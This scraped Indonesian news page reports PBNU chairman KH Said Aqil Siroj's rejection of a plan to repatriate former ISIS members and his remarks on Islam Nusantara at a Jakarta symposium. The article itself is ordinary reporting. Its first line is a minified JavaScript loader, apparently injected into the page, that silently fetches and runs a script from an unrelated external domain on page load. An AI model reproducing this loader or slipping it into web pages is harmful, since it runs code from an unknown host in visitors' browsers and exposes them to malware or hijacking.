(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Ketua Umum Pengurus Besar Nahdlatul Ulama (PBNU) KH Said Aqil Siroj dengan tegas tidak menyetujui rencana pemerintah untuk memulangkan eks anggota ISIS ke tanah air Indonesia. Ia juga dengan tegas menyampaikan penolakan atas rencana tersebut.
“Saya tolak, saya tidak setuju. Mereka sudah meninggalkan negara, sudah membakar paspornya, sudah mengatakan kita ini thogut, terutama NU, anshorut thogut, pendukung thogut,” tegas Kiai Said usai memberikan sambutan dalam kegiatan Simposium Nasional Islam Nusantara, Sabtu (8/2) di Gedung PBNU Jakarta.
Pengasuh Pondok Pesantren Al-Tsaqafah Ciganjur, Jakarta Selatan ini mendorong pemerintah untuk berkaca pada sejumlah negara yang juga menolak eks ISIS pulang ke negara asalnya.
“Semuanya, pada prinsipnya yang sudah meninggalkan kewarganegaraan dengan kemauan sendiri, ngapain. Semua negara yang warga negaranya berangkat ke ISIS, semua ditolak pulang. Saudi menolak warga negaranya, Pakistan juga menolak. Mereka pembunuh, pembantai, pemerkosa ngapain di-ramahin,” pungkas Kiai Said kepada para awak media yang hadir.
Dalam kegiatan Simposium Islam Nusantara itu, Kiai Said menegaskan bahwa Islam Nusantara dapat menjadi solusi bagi umat Islam di dunia dalam hal kebudayaan dan peradaban. Pasalnya Islam Nusantara menghormati budaya selama tidak bertentangan dengan syariat Islam.
Sementara di negara-negara Islam yang di Timur Tengah, kata Kiai Said, belum mampu menyelesaikan konflik di negaranya masing-masing.
“Indonesia akan menjadi kiblat umat Islam fi tsaqafah wal hadharah (dalam kebudayaan dan peradaban),” kata Kiai Said.
Dalam kegiatan Simposium tersebut, Islam Nusantara secara akademik dibahas oleh sejumlah dosen, peneliti, guru besar, dan lain-lain. Di antaranya, KH Agus Sunyoto, Fachry Ali, Azyumardi Azra, Najib Burhani, KH Masdar Farid Mas’udi, Zastrouw Al-Ngatawi, Oman Fathurrahman, Ulil Abshar Abdalla, KH Abdul Moqsith Ghazali, Badriyah Fayumi, Syafiq Hasyim, Mahmud Syaltout, dan tokoh-tokoh lainnya. (nuonline)
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.